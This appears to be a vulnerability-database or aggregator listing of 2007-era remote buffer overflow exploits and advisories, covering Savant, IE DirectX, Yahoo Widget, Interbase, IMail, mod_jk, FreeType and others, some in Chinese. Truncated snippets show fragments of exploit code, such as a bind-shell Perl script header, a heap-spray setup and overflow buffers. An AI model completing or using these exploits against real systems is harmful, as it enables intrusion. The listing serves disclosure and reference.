Savant Web Server 3.1 - GET Universal Remote Overflow

!/usr/bin/perl -w exploit for Savant webserver 3.1 remote bof shellcode bind 4444 port on target host Jacopo cervini aka [email protected] use IO::Socket; if!$ARGV1 print "Uso: savant-3.1.pl \n\n"; exit; $victim = IO::Socket::INET-newProto='tcp', PeerAddr=$ARGV0, PeerPort=$ARGV1 or die "can't conne...

MS Internet Explorer 6 DirectX Media Remote Overflow DoS Exploit-vulnerability warning-the black bar safety net

!--============================================================================ dxtmsft.dll Remote Buffer Overflow Exploit Internet Explorer ver 6.0 DeltahackingSecurityTEAM Bug discovered by Dr. Pantagon Affected Software: dxtmsft.dll DirectX Media -- Image DirectX Transforms DLL VER :...

MS Internet Explorer 6 DirectX Media Remote Overflow DoS Exploit

No description provided by source. !--============================================================================ dxtmsft.dll Remote Buffer Overflow Exploit Internet Explorer ver 6.0 DeltahackingSecurityTEAM Bug discovered by Dr.Pantagon...

Yahoo! Widget < 4.0.5 GetComponentVersion() Remote Overflow Exploit

No description provided by source. html !-- +++++++++++++++++++++++ +Last Modified by lhoang8500++ +++++++++++++++++++++++ -- html object classid="CLSID:7EC7B6C5-25BD-4586-A641-D2ACBB6629DD" id="target"/OBJECT SCRIPT language="javascript" var heapSprayToAddress = 0x05050505;...

[Full-disclosure] CAL-20070730-1 BlueSkyCat ActiveX Remote Heap Overflow vulnerability

CAL-20070730-1 BlueSkyCat ActiveX Remote Heap Overflow vulnerability BACKGROUND: =========== BlueSkychat is a professional voice and video chat software widely used by large chat websites in china. DESCRIPTION: ============ Code Audit Labs Code Audit for BlueSkyCat ActiveX Control and discovered ...

Yahoo! Widget < 4.0.5 GetComponentVersion() Remote Overflow Exploit

Exploit for unknown platform in category remote exploits =================================================================== Yahoo! Widget var heapSprayToAddress = 0x05050505; var payLoadCode =...

Yahoo! Widget < 4.0.5 - 'GetComponentVersion()' Remote Overflow

var heapSprayToAddress = 0x05050505; var payLoadCode =...

Borland Interbase &lt;= 2007 SP1 Create-Request Remote Overflow Exploit

No description provided by source. / http://lists.grok.org.uk/pipermail/full-disclosure/2007-July/064882.html Groetjes aan mijn sletjes: Doopie, Sjaakhans, PS en Sleepwalker :P All your base are belong to FD2K2! / include stdio.h include stdlib.h include string.h include winsock2.h include...

Microsoft Internet Explorer 6 - DirectX Media Remote Overflow Denial of Service

Sub jojo buff = String999999, "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAaA" getEDX = "aaaaaaaaaaaaaaaaaaaaaaaaaaaaabbbbbbbbbbbbbbcccccccccccccddddddddddeee" buff1 = String999999, "BBBBBBBBBBBBBBBBBBBBBBBBBBBBbb" egg = buff + getEDX + buff1 + scode Chroma.Color = egg End S...

Borland Interbase <= 2007 SP1 Create-Request Remote Overflow Exploit

Exploit for unknown platform in category remote exploits ==================================================================== Borland Interbase include include include include pragma commentlib,"ws232" define IBPORT "3050" // 0xFF - 0x8, jmp 8 bytes back define JMP "\x90\x90\xEB\xF7" // 0xFFFFFFF...

Borland Interbase 2007 SP1 - Create-Request Remote Overflow

Borland Interbase 2007 SP1 - Create-Request Remote Overflow / http://lists.grok.org.uk/pipermail/full-disclosure/2007-July/064882.html Groetjes aan mijn sletjes: Doopie, Sjaakhans, PS en Sleepwalker :P All your base are belong to FD2K2! / include include include include include pragma...

Borland Interbase 2007 SP1 - Create-Request Remote Overflow

/ http://lists.grok.org.uk/pipermail/full-disclosure/2007-July/064882.html Groetjes aan mijn sletjes: Doopie, Sjaakhans, PS en Sleepwalker :P All your base are belong to FD2K2! / include include include include include pragma commentlib,"ws232" define IBPORT "3050" // 0xFF - 0x8, jmp 8 bytes back...

IPSwitch IMail Server 2006 9.10 SUBSCRIBE Remote Overflow Exploit

No description provided by source. !/use/bin/perl Test on Imail 20069.10, imap4d32.exe6.8.8.1, windows 2003 Chinese SP1 Code by yunshu, our team: www.ph4nt0m.org Mail list: http://list.ph4nt0m.org F:perl imailSUBSCRIBE.pl 192.168.1.2 testuser testpass OK IMAP4 Server IMail 9.10 0 OK LOGIN complet...

CA Multiple Products Message Queuing Server (Cam.exe) Remote Overflow

The remote version of CA Message Queuing Service contains a stack overflow that may allow an attacker to execute arbitrary code on the remote host with SYSTEM privileges. An attacker does not need to be authenticated to exploit this flaw. C Tenable Network Security, Inc. vendor advisory: Affected...

IPSwitch IMail Server 2006 9.10 - Subscribe Remote Overflow

!/use/bin/perl Test on Imail 20069.10, imap4d32.exe6.8.8.1, windows 2003 Chinese SP1 Code by yunshu, our team: www.ph4nt0m.org Mail list: http://list.ph4nt0m.org F:\perl imailSUBSCRIBE.pl 192.168.1.2 testuser testpass OK IMAP4 Server IMail 9.10 0 OK LOGIN completed FLAGS \Answered \Flagged \Delet...

Microsoft .NET Framework PE加载器远程溢出漏洞（MS07-040）

BUGTRAQ ID: 24778 CVECAN ID: CVE-2007-0041 Microsoft .NET Framework是一个流行的软件开发工具包。 .NET Framework PE加载器处理包含畸形数据的PE文件时存在缓冲区溢出漏洞，本地攻击者可能利用此漏洞提升自己的权限。 .NET Framework...

SILC工具包和客户端NICK_CHANGE函数远程溢出漏洞

BUGTRAQ ID: 24795 SILC（Secure Internet Live Conferencing）是安全的互联网会议讨论系统，可以发送任何类型的信息，包括多媒体信息，如视频、音频、图象等等。 SILC在处理畸形格式的消息时存在漏洞，远程攻击者可能利用此漏洞控制用户机器。 SILC客户端和工具包的lib/silcclient/clientnotify.c文件没有正确地处理NICKCHANGE通知。如果攻击者更改了隧道中的别名，就可能触发缓冲区溢出，导致执行任意指令。 SILC Toolkit/Client 1.1.2...

Apache Tomcat Connector mod_jk - exec-shield Remote Overflow

Apache Tomcat Connector modjk - exec-shield Remote Overflow / Fedora Core 5,6 exec-shield based Apache Tomcat Connector modjk remote overflow exploit by Xpl017Elz Advanced exploitation in exec-shield Fedora Core case study URL: http://x82.inetcop.org/h0me/papers/FCexploit/FCexploit.txt Reference:...

Apache Tomcat Connector mod_jk - 'exec-shield' Remote Overflow

/ Fedora Core 5,6 exec-shield based Apache Tomcat Connector modjk remote overflow exploit by Xpl017Elz Advanced exploitation in exec-shield Fedora Core case study URL: http://x82.inetcop.org/h0me/papers/FCexploit/FCexploit.txt Reference: https://www.securityfocus.com/bid/22791 vendor:...

FreeType位图字体处理远程溢出漏洞

BUGTRAQ ID: 24708 FreeType是一个流行的字体函数库。 FreeType的src/base/ftbimap.c文件没有正确地处理位图字体，如果用户受骗打开了特制的字体文件的话，就可能触发缓冲区溢出，导致拒绝服务或执行任意指令。 FreeType FreeType 2.3.3 目前厂商已经发布了升级补丁以修复这个安全问题，请到厂商的主页下载： http://downloads.sourceforge.net/freetype/freetype-2.3.4.tar.gz?modtime=1176187387&bigmirror=0...